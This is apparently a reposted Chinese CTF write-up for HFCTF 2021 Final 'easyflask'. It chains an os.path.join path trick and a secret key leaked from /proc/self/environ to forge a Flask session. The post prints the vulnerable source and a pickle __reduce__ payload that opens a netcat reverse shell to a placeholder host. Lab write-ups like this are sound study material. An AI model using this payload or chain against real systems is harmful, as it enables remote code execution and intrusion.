当前位置:   article > 正文

HFCTF-2021-Final-easyflask_[buuoj]hfctf 2021 final

[buuoj]hfctf 2021 final

HFCTF-2021-Final-easyflask

考点

Python os.path.join trick、环境变量暴露敏感信息、pickle 反序列化 RCE、Flask Session 伪造

思路

  • 进入题目,hint提示/file?file=index.js,进去之后又提示Source at /app/source,获得源码信息
  • 注意 /file 路由,用户上传的 path 会被拼接到 static 目录后面,这里有个trick,当 os.path.join 的第二个参数为绝对路径时拼接的结果就是该绝对路径,用这里可以实现任意文件读取

在这里插入图片描述

  • /admin 路由里使用 pickle 模块直接将 session 里的内容反序列化了,pickle 模块实现了将 Python 对象序列化和反序列化的方法,这里涉及到一个魔法方法 __reduce__

在这里插入图片描述

  • 反序列化必然包含创建新对象的操作,如果 __reduce__ 里包含攻击代码就可以实现RCE,但是被反序列化的输出储存在 session 里,但是 session 数据都是 flask 加密过的,只有知道 secret_key 才能伪造 session 实现 RCE
  • 一般来说,secret_key 这样的数据传递给程序主要有以下方法:硬编码在代码里、写在配置文件里、通过环境变量传递给程序
  • 这里刚好是第三种情况,*nix 系统存在一个伪文件系统 /proc,结合前面的任意文件读取漏洞可以读取到自身的环境变量,即/file?file=/proc/self/environ,得到secret_key=secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh
  • 接下来就是伪造 session 啦,修改源码里的 SECRET_KEY, 给 User 对象添加 __reduce__ 方法,用浏览器访问 / 拿到伪造号的Cookie
  • 需要注意:靶机是Linux环境,本地是Windows环境,这两个环境下dumps的结果中序列化字符串声明系统的标识符不同:Linux=>posix;Windows=>nt,需要将脚本放在Linux环境下生成序列化字符串

Payload

/app/source源码信息

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content


@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'


if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56

/proc/self/environ内容

在这里插入图片描述

Payload构造

import pickle
from base64 import b64encode
import os

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 1,
    '__repr__': lambda o: o.uname,
    '__reduce__': lambda o: (eval, ("__import__('os').system('nc ip port -e /bin/sh')",))

})
u = pickle.dumps(User())
print(b64encode(u).decode())
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/盐析白兔/article/detail/495839
推荐阅读
相关标签
  

闽ICP备14008679号